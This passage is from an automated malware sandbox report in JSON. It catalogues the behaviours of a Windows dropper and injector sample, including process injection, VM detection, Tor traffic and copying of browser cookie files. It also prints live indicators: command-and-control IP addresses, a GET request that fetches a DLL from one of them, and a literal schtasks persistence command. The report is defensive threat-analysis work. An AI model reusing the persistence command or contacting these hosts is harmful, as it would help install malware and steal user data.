\"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$75","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"file/memory contains long string with (Indicator: \"ExitProcess\"; File: \"is-SM0SU.tmp\")\n file/memory contains long string with (Indicator: \"ExitProcess\"; File: \"is-IEB6T.tmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$76","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$77","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"$78","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$79","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"$7a","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Unusual Characteristics","name":"Found Delphi 4 - Delphi 2006 artifact","description":"\"tuc4.exe\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Sat Dec 1 05:59:09 2012\n \"is-8EM8Q.tmp\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Sat Apr 30 13:34:58 2016\n \"tuc4.tmp\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Sun Aug 11 12:43:28 2002\n \"is-S9I84.tmp\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970","origin":"Static Parser","relevance":10,"id":"static-19","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"$7b","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$7c","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"$7d","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Contains ability to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00005516.00000000.110684.03350000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":2,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"$7e","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"$7f","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to retrieve configuration of a workstation","description":"\"BroomSetup.exe\" called \"NetWkstaGetInfo\" (UID: 00000000-00008552)","origin":"API Call","mitre_attack_id":"T1016","relevance":5,"id":"api-156","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Executes WMI queries known to be used for VM detection","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"SELECT BuildNumber FROM Win32_OperatingSystem\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"SELECT Caption FROM Win32_OperatingSystem\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-57","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"Select * from Win32_ComputerSystem\" (Indicator: \" win32_computersystem\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 777\" (SID: 2522776, Rev: 5887, Severity: 2) categorized as \"Misc Attack\"\n Detected alert \"ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 153\" (SID: 2522152, Rev: 5887, Severity: 2) categorized as \"Misc Attack\"\n Detected alert \"ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 311\" (SID: 2522310, Rev: 5887, Severity: 2) categorized as \"Misc Attack\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$80","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$81","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$82","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.172.128.90 on port 80 is sent without HTTP header\n TCP traffic to 185.172.128.53 on port 80 is sent without HTTP header\n TCP traffic to 5.42.64.35 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"InstallSetup9.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsvE545.tmp\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsmE8FF.tmp\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsm41FE.tmp\" for deletion\n \"InstallSetup9.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsmE8FF.tmp\\INetC.dll\" for deletion\n \"tuc4.tmp\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\AVI formatter tool\\stuff\\date.txt\" for deletion\n \"tuc4.tmp\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\AVI formatter tool\\stuff\\tagsreplace.txt\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$83","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"InstallSetup9.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"$84","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"is-14LP7.tmp\" has an entrypoint in section \"petite\"\n \"is-L88TK.tmp\" has an entrypoint in section \"petite\"\n \"is-RPG62.tmp\" has an entrypoint in section \"petite\"\n \"is-IT2IF.tmp\" has an entrypoint in section \"petite\"\n \"is-D2IHO.tmp\" has an entrypoint in section \"petite\"\n \"is-SM0SU.tmp\" has an entrypoint in section \"petite\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$85","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"is-9F3KE.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-Q1SH7.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-HITNB.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-4M261.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-Q1RQM.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-VEAGR.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-4SRP0.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-AMMN6.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-117UC.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-EUUPD.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-1KBIS.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-0QOJT.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-R76LM.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-89QF9.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-FTVUF.tmp\" claims program is from Thu Jan 1 00:00:00 1970\n \"is-0VG2Q.tmp\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\InstallSetup9.exe\"\" - (UID: 00000000-00008776)\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\288c47bbc1871b439df19ff4df68f076.exe\"\" - (UID: 00000000-00008776)\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\tuc4.exe\"\" - (UID: 00000000-00008776)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"PE file contains executable resources","description":"is-8EM8Q.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable (console) x86-64\n for MS Windows\n 5 sections\n is-8EM8Q.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32 executable (GUI) Intel 80386\n for MS Windows\n 3 sections\n is-8EM8Q.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB)\n for MS Windows\n 4 sections\n tuc4.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable (console) x86-64\n for MS Windows\n 5 sections\n tuc4.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32 executable (GUI) Intel 80386\n for MS Windows\n 3 sections\n tuc4.tmp has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB)\n for MS Windows\n 4 sections","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"malicious","category":"Environment Awareness","name":"Contains ability to discover network shares","description":"WNetOpenEnumA@MPR.DLL at 00000000-00001444-15608-2023-00406FAC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1135","relevance":5,"id":"stream-69","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"BroomSetup.exe\" called \"ShellExecuteW\" with parameter %TEMP%\\Updater.exe (UID: 00000000-00008552)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 739A0000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"schtasks /create /tn \"MalayamaraUpdate\" /tr \"'%TEMP%\\\\Updater.exe'\" /sc minute /mo 30 /F\" (UID: 00000000-00001432)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets a computer-based training (CBT) hook","description":"\"BroomSetup.exe\" sets a callback procedure (5c886c) using filter \"WH_CBT\" for process ID: 2168","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-74","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$86","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_DLInjector04\" matched file \"sample.bin\" as \"Detects downloader / injector\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$87","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"PCAP contains base64 strings","description":"$88","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-504","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"288cccc47bbc1871b439df19ff4df68f076.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"InstallSetup9.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"nsbEF5F.tmp\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")\n \"aviformattertool.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"BSS\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".reloc\" is zero\n Raw size of \".ndata\" is zero\n Raw size of \".bss\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$89","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \"/f059ec3d7eb90876/softokn3.dll\" (Indicator: \"softokn3.dll\"; File: \"PCAP\")\n Found string \"GET /f059ec3d7eb90876/softokn3.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache\" (Indicator: \"softokn3.dll\"; File: \"PCAP\")\n Found string \"%ALLUSERSPROFILE%\\nss3.dll\" (Indicator: \"\\nss3.dll\"; Source: \"00000000-00001592-00000C25-91533698\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$8a","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"$8b","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00000564.00000000.66374.007C6000.00000004.mdmp, 00000000-00000564.00000001.68297.007C5000.00000004.mdmp, 00000000-00000564.00000001.68297.710C8000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00000564.00000001.68297.7108A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00000564.00000000.66374.70FCA000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$8c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"$8d","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"InstallSetup9.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"288c47bbc1871b439df19ff4df68f076.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"nsbEF5F.tmp\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"aviformattertool.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"nsbEF5F.tmp\" called \"CopyFileA\" to copy %APPDATA%\\Mozilla\\Firefox\\Profiles\\mj0wtyin.default-1692790883487\\cookies.sqlite to new location %ALLUSERSPROFILE%\\AFBFHDBKJEGHJJJKFIIJEBGIJK (UID: 00000000-00001592)\n \"nsbEF5F.tmp\" called \"CopyFileA\" to copy %APPDATA%\\Mozilla\\Firefox\\Profiles\\mj0wtyin.default-1692790883487\\places.sqlite to new location %ALLUSERSPROFILE%\\FBKECFIIEHCFHIECAFBAKJJDGD (UID: 00000000-00001592)\n \"nsbEF5F.tmp\" called \"CopyFileA\" to copy %USERPROFILE%\\Documents\\\\Amazon Downloader Logs\\Amazon_Downloader_Log_20171206-225712_1810e9e0-1a8d-457c-be3a-737de50dc6bb.txt to new location %ALLUSERSPROFILE%\\Amazon_Downloader_Log_20171206-225712_1810e9e0-1a8d-457c-be3a-737de50dc6bb.txt (UID: 00000000-00001592)\n \"aviformattertool.exe\" called 